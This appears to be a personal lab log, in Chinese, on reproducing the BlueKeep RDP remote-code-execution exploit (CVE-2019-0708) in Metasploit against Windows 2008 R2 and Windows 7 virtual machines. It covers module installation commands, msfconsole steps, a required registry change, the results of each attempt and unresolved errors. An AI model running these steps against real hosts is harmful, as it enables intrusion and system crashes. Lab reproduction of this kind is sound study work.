参考链接：
https://github.com/rapid7/metasploit-framework/pull/12283
http://blog.xkkhh.cn/archives/535

攻击系统：kali2019_x64_en-us
被攻击系统：08_r2_std_zh-chs
要求：08 r2 修改注册表值项 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal Server\WinStations\RDP-Tcp\fDisableCam 的值为 1
（参考链接中给出的 08 r2 中注册表值项为 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Terminal\Server\WinStations\rdpwd\fDisableCam，但我的系统没有项 rdpwd，而在项 RDP-Tcp 下有值项 fDisableCam）

将如下 3 个文件替换 msf 中默认的文件
cp ./rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/
cp ./rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/（参考链接中给出的目录是/usr/share/metasploit-framework/modules/auxiliary/scanner/，我想应该是少写了 rdp/）
cp ./cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/
将如下 1 个文件添加到 msf 中
cp ./cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/

启动 msfconsole
search 0708
use windows/rdp/cve_2019_0708_bluekeep_rce
set RHOSTS 192.168.149.130
run
选择目标为 3（vmware）

第一次没修改注册表，系统蓝屏
第二次修改注册表后，成功拿到 shell
第三次修改注册表后，系统蓝屏
第四次修改注册表后，报错 Connection reset by peer
结论，08 r2 需要修改注册表，而且利用不稳定

攻击系统：kali2019_x64_en-us
被攻击系统：win7_ult_x64_zh-chs
要求：无

将如下 3 个文件替换 msf 中默认的文件
cp ./rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/
cp ./rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/（参考链接中给出的目录是/usr/share/metasploit-framework/modules/auxiliary/scanner/，我想应该是少写了 rdp/）
cp ./cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/
将如下 1 个文件添加到 msf 中
cp ./cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/

启动 msfconsole
search 0708
use windows/rdp/cve_2019_0708_bluekeep_rce
set RHOSTS 192.168.149.130
run
选择目标为 3（vmware）

第一次报错：Exploit failed: Msf::Exploit::Remote::RDP::RdpCommunicationError
第二次使用全新安装的 win7_ult_x64_zh-chs 后，报错：Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer
结论：目前不能复现

目前有一些报错仍不能解决：
0：Exploit aborted due to failure: bad-config: Set the most appropriate target manually
表示需要设置对应的目标
1：Exploit failed: NameError undefined local variable or method
需要额外修改三个文件
2：Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by peer
未知
3：Exploit aborted due to failure: not-vulnerable: Set ForceExploit to override
未知
4：Exploit failed: Msf::Exploit::Remote::RDP::RdpCommunicationError
未知